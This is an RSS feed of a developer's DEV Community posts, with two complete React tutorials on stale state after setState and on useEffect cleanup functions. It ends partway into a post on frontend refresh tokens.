<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Naser Rasouli</title>
    <description>The latest articles on DEV Community by Naser Rasouli (@naserrasouli).</description>
    <link>https://dev.to/naserrasouli</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F2939002%2Faa0f7677-2e52-442a-a796-caa57b212aae.jpg</url>
      <title>DEV Community: Naser Rasouli</title>
      <link>https://dev.to/naserrasouli</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/naserrasouli"/>
    <language>en</language>
    <item>
      <title>Why console.log After setState Shows the Old Value</title>
      <dc:creator>Naser Rasouli</dc:creator>
      <pubDate>Sun, 19 Jul 2026 08:30:00 +0000</pubDate>
      <link>https://dev.to/naserrasouli/why-consolelog-after-setstate-shows-the-old-value-15mj</link>
      <guid>https://dev.to/naserrasouli/why-consolelog-after-setstate-shows-the-old-value-15mj</guid>
      <description>&lt;h2&gt;
  
  
  &lt;strong&gt;Introduction&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;If you call &lt;code&gt;setState&lt;/code&gt; (or &lt;code&gt;setCount&lt;/code&gt;) and immediately &lt;code&gt;console.log&lt;/code&gt;, you’ll often see the old value. That’s not a bug. React deliberately makes state updates &lt;strong&gt;asynchronous&lt;/strong&gt; and &lt;strong&gt;batched&lt;/strong&gt; to avoid extra renders. This guide explains why that happens and how to read the updated state correctly.&lt;/p&gt;




&lt;h2&gt;
  
  
  &lt;strong&gt;Why doesn’t state change immediately?&lt;/strong&gt;
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;setState&lt;/code&gt; doesn’t change the value on the spot; it enqueues an &lt;strong&gt;update request&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;JavaScript keeps running, and React applies the new state on the next render.&lt;/li&gt;
&lt;li&gt;Any code running right after &lt;code&gt;setState&lt;/code&gt; still sees the previous value.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Behind the scenes:&lt;/p&gt;

&lt;p&gt;1) &lt;code&gt;setCount&lt;/code&gt; is called.&lt;br&gt;&lt;br&gt;
2) React puts the update in a queue.&lt;br&gt;&lt;br&gt;
3) The rest of your JS keeps executing.&lt;br&gt;&lt;br&gt;
4) React re-renders and the new state becomes available.&lt;/p&gt;


&lt;h2&gt;
  
  
  &lt;strong&gt;Basic example&lt;/strong&gt;
&lt;/h2&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;count&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;setCount&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;useState&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;handleClick&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nf"&gt;setCount&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;count&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;count&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// still the previous value&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;&lt;code&gt;console.log&lt;/code&gt; runs before the next render, so it logs the old state.&lt;/p&gt;


&lt;h2&gt;
  
  
  &lt;strong&gt;How to read the fresh value&lt;/strong&gt;
&lt;/h2&gt;
&lt;h3&gt;
  
  
  Use &lt;code&gt;useEffect&lt;/code&gt;
&lt;/h3&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nf"&gt;useEffect&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;count&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// always the updated value&lt;/span&gt;
&lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;count&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;&lt;code&gt;useEffect&lt;/code&gt; runs after render, so the logged value is current.&lt;/p&gt;
&lt;h3&gt;
  
  
  Use a Functional Update
&lt;/h3&gt;

&lt;p&gt;When the new value depends on the previous one, the functional form always has the latest state:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nf"&gt;setCount&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;prev&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;next&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;prev&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;next&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// the new value is here&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;next&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  &lt;strong&gt;Back-to-back updates&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;Common mistake:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nf"&gt;setCount&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;count&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nf"&gt;setCount&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;count&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// both use the stale value&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Result is only +1. Correct version:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nf"&gt;setCount&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;prev&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;prev&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nf"&gt;setCount&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;prev&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;prev&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// total +2&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Functional updates ensure each call uses the latest state.&lt;/p&gt;




&lt;h2&gt;
  
  
  &lt;strong&gt;Where you need to be careful&lt;/strong&gt;
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Logging immediately after &lt;code&gt;setState&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Sending state to an API right after updating&lt;/li&gt;
&lt;li&gt;Branching logic that uses the state in the same tick&lt;/li&gt;
&lt;li&gt;Multiple sequential updates on one state without the functional form&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Use &lt;code&gt;useEffect&lt;/code&gt; or functional updates in these cases.&lt;/p&gt;




&lt;h2&gt;
  
  
  &lt;strong&gt;Quick checklist&lt;/strong&gt;
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Does the update depend on the previous value? → Use the functional form.
&lt;/li&gt;
&lt;li&gt;Need the fresh value? → Log inside a &lt;code&gt;useEffect&lt;/code&gt; that depends on that state.
&lt;/li&gt;
&lt;li&gt;Doing multiple updates in a row? → Make them all functional so batching works.&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  &lt;strong&gt;Wrap-up&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;Seeing the old value after &lt;code&gt;setState&lt;/code&gt; is expected: React queues and batches updates. To get the new state, either wait for the next render (&lt;code&gt;useEffect&lt;/code&gt;) or use the functional updater. Rule of thumb: “If you need the previous state, use a function; if you need the new state, read it after render.”&lt;/p&gt;

</description>
      <category>react</category>
      <category>state</category>
      <category>setstate</category>
      <category>hooks</category>
    </item>
    <item>
      <title>Cleanup Functions in useEffect: Stop Leaks Before They Start</title>
      <dc:creator>Naser Rasouli</dc:creator>
      <pubDate>Wed, 15 Jul 2026 08:30:00 +0000</pubDate>
      <link>https://dev.to/naserrasouli/cleanup-functions-in-useeffect-stop-leaks-before-they-start-5h54</link>
      <guid>https://dev.to/naserrasouli/cleanup-functions-in-useeffect-stop-leaks-before-they-start-5h54</guid>
      <description>&lt;h2&gt;
  
  
  &lt;strong&gt;Introduction&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;Almost everyone uses &lt;code&gt;useEffect&lt;/code&gt; in React for fetching data, timers, or adding event listeners. The part that causes the most silent bugs is the &lt;code&gt;cleanup&lt;/code&gt; function. Skip it or write it incorrectly and you get memory leaks, duplicate handlers firing, or the infamous &lt;code&gt;setState on unmounted component&lt;/code&gt;. This post shows, with concrete examples, how to write a correct cleanup every time.&lt;/p&gt;




&lt;h2&gt;
  
  
  &lt;strong&gt;What useEffect does and what cleanup means&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;useEffect&lt;/code&gt; is for side effects — work that isn’t directly part of rendering. Its shape:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nf"&gt;useEffect&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="c1"&gt;// effect: do the side effect&lt;/span&gt;

  &lt;span class="k"&gt;return &lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// cleanup: tear down what you set up&lt;/span&gt;
  &lt;span class="p"&gt;};&lt;/span&gt;
&lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="nx"&gt;deps&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;cleanup&lt;/code&gt; is the returned function. React runs it in two moments:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Before the effect re-runs when any &lt;code&gt;deps&lt;/code&gt; change&lt;/li&gt;
&lt;li&gt;When the component unmounts&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;In Strict Mode (dev), effects are mounted, cleaned up, then mounted again to expose bugs, so correct cleanup matters even more.&lt;/p&gt;




&lt;h2&gt;
  
  
  &lt;strong&gt;When does cleanup run?&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;1) &lt;strong&gt;Before the next effect&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
   If any dependency changes, React calls the previous cleanup first, then runs the new effect.&lt;/p&gt;

&lt;p&gt;2) &lt;strong&gt;On unmount&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
   When the component leaves the DOM, React calls the last cleanup for that effect.&lt;/p&gt;

&lt;p&gt;Order example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nf"&gt;useEffect&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;effect&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="k"&gt;return &lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;cleanup&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;count&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When &lt;code&gt;count&lt;/code&gt; goes from 0 → 1, you’ll see: &lt;code&gt;cleanup&lt;/code&gt; → &lt;code&gt;effect&lt;/code&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  &lt;strong&gt;Essential cleanup scenarios&lt;/strong&gt;
&lt;/h2&gt;

&lt;h3&gt;
  
  
  DOM events
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nf"&gt;useEffect&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;handleResize&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;window&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;innerWidth&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="nb"&gt;window&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;addEventListener&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;resize&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;handleResize&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

  &lt;span class="k"&gt;return &lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nb"&gt;window&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;removeEventListener&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;resize&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;handleResize&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;};&lt;/span&gt;
&lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="p"&gt;[]);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Without removal, each re-run adds another listener and the handler fires multiple times.&lt;/p&gt;

&lt;h3&gt;
  
  
  Timers (setInterval / setTimeout)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nf"&gt;useEffect&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;setInterval&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;tick&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="mi"&gt;1000&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="k"&gt;return &lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nf"&gt;clearInterval&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="p"&gt;[]);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Forget &lt;code&gt;clearInterval&lt;/code&gt; and the timer keeps running after unmount, burning CPU.&lt;/p&gt;

&lt;h3&gt;
  
  
  Subscriptions (socket/observable)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nf"&gt;useEffect&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;unsubscribe&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;subscribe&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;});&lt;/span&gt;

  &lt;span class="k"&gt;return &lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nf"&gt;unsubscribe&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="p"&gt;[]);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Every subscription needs an exit path; otherwise old handlers keep receiving messages.&lt;/p&gt;

&lt;h3&gt;
  
  
  Network requests with AbortController
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nf"&gt;useEffect&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;controller&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;AbortController&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

  &lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;/api/data&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;signal&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;controller&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;signal&lt;/span&gt; &lt;span class="p"&gt;})&lt;/span&gt;
    &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;then&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;res&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
    &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;then&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
    &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="k"&gt;catch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt; &lt;span class="o"&gt;!==&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;AbortError&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;error&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;});&lt;/span&gt;

  &lt;span class="k"&gt;return &lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;controller&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;abort&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="p"&gt;[]);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Aborting prevents stray responses from calling &lt;code&gt;setState&lt;/code&gt; on an unmounted component.&lt;/p&gt;




&lt;h2&gt;
  
  
  &lt;strong&gt;Dependencies and hidden bugs&lt;/strong&gt;
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Each time a &lt;code&gt;dep&lt;/code&gt; changes, cleanup from the previous run fires first; rely on stable refs/state for teardown.&lt;/li&gt;
&lt;li&gt;If you create handlers inside the effect and omit them from &lt;code&gt;deps&lt;/code&gt;, you may remove the wrong reference later (stale closure). Use &lt;code&gt;useCallback&lt;/code&gt; or include the dependency.&lt;/li&gt;
&lt;li&gt;In Strict Mode dev, the sequence is effect → cleanup → effect for a single mount; make your effect idempotent and reversible with its cleanup.&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  &lt;strong&gt;Common mistakes to avoid&lt;/strong&gt;
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Declaring &lt;code&gt;async&lt;/code&gt; directly on the &lt;code&gt;useEffect&lt;/code&gt; callback and forgetting to abort requests&lt;/li&gt;
&lt;li&gt;Adding event listeners without removing them or with a different reference on cleanup&lt;/li&gt;
&lt;li&gt;Relying on &lt;code&gt;setInterval&lt;/code&gt; without clearing it&lt;/li&gt;
&lt;li&gt;Ignoring the dependency array and working with stale data&lt;/li&gt;
&lt;li&gt;Assuming cleanup only runs on unmount&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  &lt;strong&gt;Quick checklist before merging&lt;/strong&gt;
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Does every resource you open (listener, timer, subscription, request) have a teardown path?&lt;/li&gt;
&lt;li&gt;Does the dependency array intentionally include everything you use — or is it empty on purpose?&lt;/li&gt;
&lt;li&gt;In Strict Mode dev, will effect → cleanup → effect still behave correctly?&lt;/li&gt;
&lt;li&gt;Are handlers/callbacks stable so &lt;code&gt;removeEventListener&lt;/code&gt; can actually remove them?&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  &lt;strong&gt;Wrap-up&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;The cleanup function is small, but it prevents big problems. Every time you write &lt;code&gt;useEffect&lt;/code&gt;, ask: “What did I start that needs to be shut down?” Answering that keeps your React app free of leaks, duplicate listeners, and &lt;code&gt;setState&lt;/code&gt; errors.&lt;/p&gt;

</description>
      <category>react</category>
      <category>useeffect</category>
      <category>cleanup</category>
      <category>hooks</category>
    </item>
    <item>
      <title>Refresh Tokens on the Frontend: Architecture &amp; Implementation</title>
      <dc:creator>Naser Rasouli</dc:creator>
      <pubDate>Sun, 12 Jul 2026 08:30:00 +0000</pubDate>
      <link>https://dev.to/naserrasouli/refresh-tokens-on-the-frontend-architecture-implementation-5db7</link>
      <guid>https://dev.to/naserrasouli/refresh-tokens-on-the-frontend-architecture-implementation-5db7</guid>
      <description>&lt;h2&gt;
  
  
  &lt;strong&gt;Introduction&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;Modern SPAs (React, Vue, Next.js, etc.) often rely on &lt;strong&gt;JWT-based authentication&lt;/strong&gt;. After login, the server issues two tokens:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Access Token&lt;/strong&gt; for authenticating each request&lt;/li&gt;
&lt;li&gt;
